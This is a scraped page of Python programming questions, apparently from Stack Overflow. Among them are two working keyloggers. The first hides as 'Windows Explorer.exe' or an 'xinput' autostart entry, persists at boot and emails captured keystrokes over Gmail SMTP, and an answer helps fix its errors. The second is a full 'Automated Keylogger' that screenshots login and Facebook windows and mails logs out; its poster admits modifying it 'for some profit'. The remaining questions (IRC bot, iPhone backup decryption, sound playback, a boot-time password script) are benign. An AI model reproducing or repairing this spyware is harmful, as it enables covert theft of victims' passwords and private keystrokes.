Making a Local Keylogger sending email everytime system boots with python - python

"This is my first coding question on stack so maybe not upto mark"
So I am trying to make a local keylogger that would store all keystrokes in a .txt file
and when the system reboots send the file to my email using smtp and again start the keylogger.
The code is as follows:
import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time
class Keylogger:
def __init__(self, email, password):
self.email = email
self.password = password
self.system_info = self.get_system_info()
def append_to_log(self, string):
self.log = self.log + string
file = open(r"C:\Program Files\explorer.txt", "wb")
file.write(self.log)
def check_internet(self):
ipaddress = socket.gethostbyname(socket.gethostname())
while ipaddress=="127.0.0.1":
time.sleep(10)
ipaddress = socket.gethostbyname(socket.gethostname())
self.report()
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.log)
def send_mail(self, message):
message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email, self.email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
keyboard_listener.join()
def become_persistent(self):
if sys.platform.startswith("win"):
self.become_persistent_on_windows()
elif sys.platform.startswith("linux"):
self.become_persistent_on_linux()
def become_persistent_on_windows(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
self.log = "* Keylogger started * "
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True)
def become_persistent_on_linux(self):
home_config_directory = os.path.expanduser('~') + "/.config/"
autostart_path = home_config_directory + "/autostart/"
autostart_file = autostart_path + "xinput.desktop"
if not os.path.isfile(autostart_file):
self.log = "** Keylogger started **"
try:
os.makedirs(autostart_path)
except OSError:
pass
destination_file = home_config_directory + "xnput"
shutil.copyfile(sys.executable, destination_file)
self.chmod_to_exec(destination_file)
with open(autostart_file, 'w') as out:
out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
out.write("Name=Xinput\nExec=" + destination_file + "\n")
def chmod_to_exec(self, file):
os.chmod(file, os.stat(file).st_mode | stat.S_IEXEC)
#end of class
#starting Keylogger not included in class
if not os.path.exists(r"C:\Program Files\explorer.txt"):
Keylogger.become_persistent()
file = open(r"C:\Program Files\explorer.txt", "wb")
Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and
os.stat(file_path).st_size
<= 0:
Keylogger.start()
else:
Keylogger.check_internet()
os.remove(r"C:\Program Files\explorer.txt")
Keylogger.start()
So i get the following errors:
Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py", line
108, in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'
This is my first advance project so many errors will be there.
so what are suggestions and solutions for this code

You're using the Keylogger class directly, but instead you should declare an instance of that class:
my_keylogger = Keylogger()
my_keylogger.become_persistent()

Related

Multiprocessing and sockets, simplified

I am trying to make my IRC bot handle multiple messages at a time, but it's not sending back messages.
Behavior: Process(target=func) is called, func() calls a function that has socket.socket().send(message) in it, but the message doesn't send. Suspect is that the socket isn't passed to the sending function.
Code:
import socket
import re
import requests
import urllib
import config # just my file of variables
import math
import time
import sys
import winsound
import string
import random
import multiprocessing
# import traceback
# CONNECTION COMMANDS
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = config.server # Server
password = config.password # Password
botnick = config.botnick # Your bots nick
adminname = config.adminname # Your IRC nickname
exitcode = config.exitcode
ircsock.settimeout(300)
def connection(host, port, password, nick, realname):
ircsock.connect((host, port))
ircsock.send(bytes("PASS " + password + "\n", "UTF-8"))
ircsock.send(bytes("USER " + botnick + " " + botnick + " " + botnick + " " + botnick + "\n", "UTF-8"))
ircsock.send(bytes("NICK " + botnick + "\n", "UTF-8"))
def ping(): # respond to server Pings.
ircsock.send(bytes("PONG :pingis\n", "UTF-8"))
print("Ponged after " + str(time.time() - last_ping) + " seconds from last ping!")
def sendmsg(msg, target): # sends messages to the target.
# it enters here, no problem
ircsock.send(bytes("PRIVMSG " + target + " :" + msg + "\n", "UTF-8")) ### At this point, when using multiprocessing, the bot fails ###
print("Sending: [" + str(msg) + "] to: " + str(target))
# MAIN
if __name__ == '__main__':
connection(server, 6667, password, botnick, botnick)
# joinchan(channel)
while 1:
# print("Connected!")
ircmsg = ircsock.recv(1024).decode("UTF-8")
ircmsg = ircmsg.strip('\n\r')
if ircmsg.find("PRIVMSG") != -1:
try:
# “:[Nick]!~[hostname]#[IP Address] PRIVMSG [channel] :[message]”
name = ircmsg.split('PRIVMSG', 1)[0].split(':')[-1].split("!")[0] # ircmsg.split('!', 1)[0][1:]
message = ircmsg.split('PRIVMSG', 1)[1].split(':', 1)[1].splitlines()[0] # .strip()[0]
me = ircmsg.split('PRIVMSG', 1)[1].split(':', 1)[0].split()[0]
# print(me)
print("name: " + name + ", message: " + message)
if len(name) < 17:
if me == botnick:
if message.find("Hi!") != -1:
process1 = multiprocessing.Process(target=sendmsg, args=("Hello!", name))
process1.daemon = True
process1.start()
if name.lower() == adminname.lower() and message.rstrip() == exitcode:
sendmsg("Bot is quitting.", name)
ircsock.send(bytes("QUIT \n", "UTF-8"))
sys.exit()
time.sleep(1)
except:
pass
elif ircmsg.find("PING") != -1:
ping()
Please word your answers as simply as possible, since I am not that experienced in Python. The code above can be run with a correct config.py file.
Format:
password = "" # password to open the server
exitcode = "" # What is typed to stop the bot
server = "" # Server
botnick = "" # Your bots nick
adminname = "" # Your IRC nickname

How to decrypt and encrypt iphone backup using python IOS 10.1.1?

So I'm getting closer, but I can't seem to get this line of code to work just yet: key = manifest["kb"].unwrapKeyForClass(record.protection_class, record.encryption_key[4:])
Attached is the code I have so far, but I still can't wrap my head where to find this information within the backup. Hoping someone can point me in the right direction.
from hashlib import md5
from Crypto.Cipher import AES
from Crypto import Random
import os
import re
import sqlite3
from keystore.keybag import Keybag
from util import readPlist, makedirs
import sys
import plistlib
showinfo = ["Device Name", "Display Name", "Last Backup Date", "IMEI",
"Serial Number", "Product Type", "Product Version", "iTunes Version"]
def extract_backup(backup_path, output_path, password=""):
if not os.path.exists(backup_path + "/Manifest.plist"):
print "Manifest.plist not found"
return
manifest = readPlist(backup_path + "/Manifest.plist")
info = readPlist( backup_path + "/Info.plist")
for i in showinfo:
print i + " : " + unicode(info.get(i, "missing"))
print "Extract backup to %s ? (y/n)" % output_path
if raw_input() == "n":
return
print "Backup is %sencrypted" % (int(not manifest["IsEncrypted"]) * "not ")
if manifest["IsEncrypted"] and password == "":
print "Enter backup password : "
password = raw_input()
if (manifest["IsEncrypted"]):
manifest["password"] = password
manifest["kb"] = Keybag.createWithBackupManifest(manifest, password)
makedirs(output_path)
plistlib.writePlist(manifest, output_path + "/Manifest.plist")
decrypt_backup10(backup_path, output_path, manifest)
def extract_all():
if sys.platform == "win32":
mobilesync = os.environ["APPDATA"] + "/Apple Computer/MobileSync/Backup/"
elif sys.platform == "darwin":
mobilesync = os.environ["HOME"] + "/Library/Application Support/MobileSync/Backup/"
else:
print "Unsupported operating system"
return
print "-" * 60
print "Searching for iTunes backups"
print "-" * 60
for udid in os.listdir(mobilesync):
extract_backup(mobilesync + "/" + udid, udid + "_extract")
def decrypt_backup10(backup_path, output_path, manifest):
connection = sqlite3.connect(backup_path + "/Manifest.db")
try:
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
for record in cursor.execute("SELECT * FROM Files"):
extract_file(backup_path, output_path, record, manifest, kb)
except:
connection.close()
def extract_file(backup_path, output_path, record, manifest):
# read backup file
try:
fileID = record["fileID"]
filename = os.path.join(backup_path, fileID[:2], fileID)
f1 = file(filename, "rb")
print(filename)
except(IOError), e:
#print(e)
print "WARNING: File %s (%s) has not been found" % (filename, record["relativePath"])
return
# write output file
output_path = os.path.join(output_path, fileID[:2], fileID)
ensure_dir_exists(output_path)
print("Writing %s" % output_path)
f2 = file(output_path, 'wb')
aes = None
if manifest["IsEncrypted"] and manifest["kb"]:
key = manifest["kb"].unwrapKeyForClass(record.protection_class, record.encryption_key[4:])
if not key:
warn("Cannot unwrap key")
return
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
while True:
data = f1.read(8192)
if not data:
break
if aes:
data2 = data = aes.decrypt(data)
f2.write(data)
f1.close()
if aes:
c = data2[-1]
i = ord(c)
if i < 17 and data2.endswith(c*i):
f2.truncate(f2.tell() - i)
else:
warn("Bad padding, last byte = 0x%x !" % i)
f1.close()
f2.close()
def ensure_dir_exists(filename):
if not os.path.exists(os.path.dirname(filename)):
os.makedirs(os.path.dirname(filename))
def main():
extract_backup(input, output, password)
if __name__ == "__main__":
main()

Python Smtplib Sendmail Error

I was improvising on my Friends keylogger for some profit yesterday. When I run the py file of the keylogger in python IDLE I get this error
Traceback (most recent call last):
File "C:\Python27\Scripts\Configure.py", line 263, in <module>
sendEmail()
File "C:\Python27\Scripts\Configure.py", line 224, in sendEmail
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
File "C:\Python27\lib\smtplib.py", line 743, in sendmail
(code, resp) = self.data(msg)
File "C:\Python27\lib\smtplib.py", line 504, in data
raise SMTPDataError(code, repl)
SMTPDataError: (421, '4.7.0 Temporary System Problem. Try again later (RQ). z29sm64505579pff.0 - gsmtp')
Note that Configure.py is the name of the keylogger. Here is the Keylogger :
#!/usr/bin/python
# Automated Keylogger 0.1a #
# ------------------------ #
# > www.TechnicDynamic.com #
# ------------------------ #
# Credits to original code from DaniWeb forums:
# http://www.daniweb.com/software- development/python/threads/229564/python-keylogger
# Currently works on Windows only
# -------------------------------
# * Records all keystrokes
# * Takes automated screenshots (see config below)
# * Sends email containing logs and screenshots
# Required modules
# ----------------
# Make sure they're all installed if you plan to compile it yourself.
from time import sleep
from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from PIL import Image, ImageGrab
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib
# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = False # set to True to send emails
LOG_MAIL = 'email#gmail.com' # account email address (must exist)
LOG_PASS = 'password' # email's password (must exist)
LOG_FROM = 'bla#blabla.com' # email will be sent from this address
LOG_SUBJ = 'Long time my friend'# email subject
LOG_MSG = 'Howdy!' # email content - the body
# ----------------------------- #
# Screenshot Settings #
LOG_SCREENSHOT = False # set to True to take screenshot(s)
LOG_SCREENSNUM = 3 # set amount of screenshot to take.
LOG_INTERVAL = 2 # interval between each screenshot.
LOG_SCREEN = [] # this list contains matches for taking automated screenshots...
#LOG_SCREEN.append("Facebook") # for example, if it finds "Facebook" in titlebar..
#LOG_SCREEN.append("Sign In") # or if it finds "Sign In", common email login page.
#LOG_SCREEN.append("Google") # -- 'watchu googlin fool?
# ----------------------------- #
# System Settings # [shouldn't be modified]
LOG_FILENAME = 'tmpConf.txt' # log file (current directory)
LOG_TOSEND = [] # contains files to send in email attachment
LOG_ACTIVE = '' # stores active window
LOG_STATE = False # Start keylogger as false
LOG_TIME = 0 # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = "" # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0 # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400 # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0 # thread count for keylogger
LOG_THREAD_ss = 0 # thread count for automated screenshots
# ----------------------------- #
# Debug [Don't change] #
# LOG_ITERATE = 3 #
# print os.getcwd() #
#################################
# this sets the thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()
def Keylog(k, LOG_TIME, LOG_FILENAME):
# only supported for Windows at the moment...
if os.name != 'nt': return "Not supported for this operating system.\n"
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_STATE = True # begin logging!
main_thread_id = win32api.GetCurrentThreadId()
# add timestamp when it starts...
LOG_TEXT += "\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
LOG_TEXT += "===================================================\n\n"
# find out which window is currently active!
w = win32gui
LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
LOG_TEXT += " " + LOG_ACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
if LOG_TIME > 0:
t = Timer(LOG_TIME, stopKeylog) # Quit
t.start()
# open file to write
LOG_FILE = open(LOG_FILENAME, 'w')
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() # this is where all the magic happens! ;)
# after finished, we add the timestamps at the end.
LOG_FILE = open(LOG_FILENAME, 'a')
LOG_TEXT += "\n\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
LOG_TEXT += "===================================================\n"
LOG_STATE = False
try:
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
except:
LOG_FILE.close()
return True
# this function stops the keylogger...
# thank God for the StackOverflow thread! :D
def stopKeylog():
win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0);
# this function actually records the strokes...
def OnKeyboardEvent(event):
global LOG_STATE, LOG_THREAD_ss
# return if it isn't logging.
if LOG_STATE == False: return True
global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, LOG_SCREENSNUM
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'a')
# check for new window activation
wg = win32gui
LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
if LOG_NEWACTIVE != LOG_ACTIVE:
# record it down nicely...
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
LOG_ACTIVE = LOG_NEWACTIVE
# take screenshots while logging!
if LOG_SCREENSHOT == True:
LOG_IMG = 0
while LOG_IMG < len(LOG_SCREEN):
if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0:
LOG_TEXT += "[*] Taking " + str(LOG_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n"
LOG_TEXT += "[*] Timestamp: " + str(datetime.datetime.now()) + "\n\n"
ss = Thread(target=takeScreenshots, args= (LOG_THREAD_ss,LOG_SCREENSNUM,LOG_INTERVAL))
ss.start()
LOG_THREAD_ss += 1 # add 1 to the thread counter
LOG_IMG += 1
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
# write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
# screenshot function
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
# take multiple screenshots function
# args = number of shots, interval between shots
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%M_%S')
Screenshot()
time.sleep(intShots)
shot += 1
# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
# server = smtplib.SMTP('smtp.gmail.com:587')
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
server.quit()
# function to clean up fiels
def deleteFiles():
if len(LOG_TOSEND) < 1: return True
for file in LOG_TOSEND:
os.unlink(file)
# begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl .start()
# if keylogging is running infinitely
if LOG_TIME < 1:
# begin continuous loop
while True:
# zZzzzzZZzzZ
time.sleep(LOG_MINTERVAL) # sleep for time specified
LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt"
# add file to the LOG_TOSEND list
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE)
LOG_TOSEND.append(addFile) # add to the list
LOG_SAVEFILE = open(LOG_NEWFILE, 'w')
LOG_CHCKSIZE = open(LOG_FILENAME, 'r')
LOG_SAVEFILE.write(LOG_CHCKSIZE.read())
LOG_CHCKSIZE.close()
try:
LOG_SAVEFILE.write(LOG_SAVETEXT)
LOG_SAVEFILE.close()
except:
LOG_SAVEFILE.close()
# send email
if LOG_SENDMAIL == True:
sendEmail()
time.sleep(6)
deleteFiles()
LOG_TOSEND = [] # clear this list
# otherwise sleep for specified time, then break program
elif LOG_TIME > 0:
# sleep for time specified
time.sleep(LOG_TIME)
time.sleep(2)
# check to send email
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_FILENAME)
LOG_TOSEND.append(addFile) # add to the list
sendEmail()
time.sleep(2)
sys.exit()
This keylogger is not made by me and I was only Improvising it and hence had no plans for using it.
Here is the screenshot for the python IDLE
Image -Updated
The Up and running and Network Currently down are my ways to ensure that connection is there before it sends the keylogger to the receiver's mail id. Again I am only improvising. So you can see that it succeeded sending the data almost 19 times but then the error showed up. So I can I fix it ?
Regards,
Note- I updated the Image

convert winsound to a linux platform?

On a chat script I was working on a while back, I used the winsound python library to play a 'ding' sound (ding.wav) when a new message was received. Now I am wondering how I can make this work for linux, only with a .ogg audio file. The code is below:
import sys
import util
import thread
import socket
import winsound
class ClientSocket():
rbufsize = -1
wbufsize = 0
def __init__(self, address, nickname=''):
if type(address) == type(()) and type(address[0]) == type('') and type(address[1]) == type(1):
pass
else:
print ('Address is of incorrect type. \n' +
'Must be (serverHost (str), serverPort (int)).')
sys.exit(1)
if nickname:
self.changeNick(nickname)
else:
self.changeNick(raw_input('Nickname: '))
self.prompt_on = False
self.address = address
def connect(self):
self.connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect(self.address)
self.rfile = self.connection.makefile('rb', self.rbufsize)
self.wfile = self.connection.makefile('wb', self.wbufsize)
self.wfile.write('/nick ' + self.nickname + '\n')
def serve_forever(self):
self.connect()
thread.start_new_thread(self.acceptinput,())
line = ""
while line not in ('/exit','/quit', '/q'):
self.prompt_on = True
line = raw_input(self.prompt)
self.prompt_on = False
if line[:2] == '/n' or line[:5] == '/nick':
self.changeNick(line.split(' ', 1)[1].strip())
self.wfile.write(line + '\n')
self.close()
self.connection.shutdown(socket.SHUT_RDWR)
self.connection.close()
def changeNick(self, newNick):
self.nickname = newNick
self.prompt = self.nickname+': '
self.backspace = '\b' * len(self.prompt)
def acceptinput(self):
while 1:
data = self.rfile.readline().strip()
if data:
self.writedata(data)
if 'Nickname successfully changed to' in data:
self.changeNick(data.split('"')[1])
def writedata(self, data):
if self.prompt_on:
output = data if len(data) >= len(self.prompt) else data + ' ' * (len(self.prompt) - len(data))
winsound.PlaySound("ding.wav", winsound.SND_FILENAME)
sys.stdout.write(self.backspace + output + '\n' + self.prompt)
sys.stdout.flush()
else:
print data
def close(self):
if not self.wfile.closed:
self.wfile.flush()
self.wfile.close()
self.rfile.close()
def main():
serverHost = raw_input('Server IP/Hostname: ')
if not serverHost:
serverHost = util.getIP()
else:
serverHost = socket.gethostbyname(serverHost)
serverPort = input('Server Port: ')
address = (serverHost, serverPort)
client = ClientSocket(address)
print 'Connecting to server on %s:%s' % (serverHost, serverPort)
client.serve_forever()
if __name__ == '__main__':
main()
If someone could help me convert this to play a .ogg file instead, it would be awesome:)
Thanks, Sean.
In the end, I ended up using the pygame library:
import pygame
pygame.init()
pygame.mixer.music.load("ding.ogg")
pygame.mixer.music.play()

Why is the Python script unreliable when run from rc.local on first boot?

The script below works great when logged in as root and run from the
command line, but when run at first boot using /etc/rc.local in Ubuntu
10.04, it fails about 25% of the time- the system root, mysql root and
some mysql user passwords are set correctly, but one will fail with
console log reporting standard mysql login error: "ERROR 1045 (28000):
Access denied for user 'root' # 'localhost' (using password: YES)"
Is there something about running python scripts from init jobs that I
should account for, such as an environment variable?
#!/usr/bin/env python
# Randomizes and outputs to files the system root and mysql user passwords
files = ['/home/ubuntu/passwords','/opt/data1/alfresco/extensions/
extension/alfresco-global.properties','/opt/data/etc/mysql/
debian.cnf','/home/ubuntu/duncil']
userpasswords = {'root':'ROOTPASSWORD'}
mysqlpasswords =
{'root':'MYSQLPASSWORD','alfresco':'alfrescoPASSWORD','debian-sys-
maint':'debian-sys-maintPASSWORD'}
otherpasswords = ['OTHERPASSWORD']
log = '/var/log/firstrun'
import random, string
import crypt
import re
from subprocess import PIPE, Popen
def getsalt(chars = string.letters + string.digits):
# generate a random 2-character 'salt'
return random.choice(chars) + random.choice(chars)
def getpwd(chars = string.letters + string.digits, len = 12):
retval = "";
for i in range(0, len):
# generate 12 character alphanumeric password
retval += random.choice(chars)
return retval
def replace_pass(filename):
handle = open(filename, 'r')
hbuf = handle.read()
handle.close()
for placeholder, password in pdict.iteritems():
hbuf = re.sub(placeholder, password, hbuf)
try:
# Output file
handle = open(filename, 'w')
handle.write(hbuf)
handle.close()
except:
pass
#logh.write('failed to update ' + filename + "\n")
#logh.write('maybe you don\'t have permision to write to it?\n')
logh = open(log, "a")
logh.write("Starting...\n")
# Generate passwords
pdict = {}
for user, placeholder in userpasswords.iteritems():
syspass = getpwd()
Popen(['usermod', '--password', crypt.crypt(syspass, getsalt()), user])
logh.write(placeholder + ": User " + user + " --> " + syspass + "\n")
pdict[placeholder] = syspass
# Whats the MySQL Root password placeholder?
mplace = mysqlpasswords['root']
for user, placeholder in mysqlpasswords.iteritems():
mpass = getpwd()
if (("root" in mysqlpasswords) and (mysqlpasswords['root'] in pdict)):
mrootpass = pdict[mysqlpasswords['root']]
else:
mrootpass = ""
Popen(['mysql', '-uroot', "--password=" + mrootpass, "-e", "UPDATE user SET Password = PASSWORD('" + mpass + "') WHERE User = '" + user + "';FLUSH PRIVILEGES;","mysql"])
logh.write(placeholder + ": MySQL " + user + " --> " + mpass + "\n")
pdict[placeholder] = mpass
for placeholder in otherpasswords:
opass = getpwd()
logh.write(placeholder + ": " + opass + "\n")
pdict[placeholder] = opass
# Update passwords
for file in files:
logh.write("Replacing placeholders in " + file + "\n")
replace_pass(file)
logh.write("Finished\n")
logh.close
Doesn't Popen execute asynchronously?
It seems that during boot, the load is high and you are getting a race condition between setting the root password and using it to set the next password (next command).
Try
p = Popen(['mysql', '-uroot', "--password=" + mrootpass, "-e", "UPDATE user SET Password = PASSWORD('" + mpass + "') WHERE User = '" + user + "';FLUSH PRIVILEGES;","mysql"])
p.wait()
and see if that does it.

Categories

Resources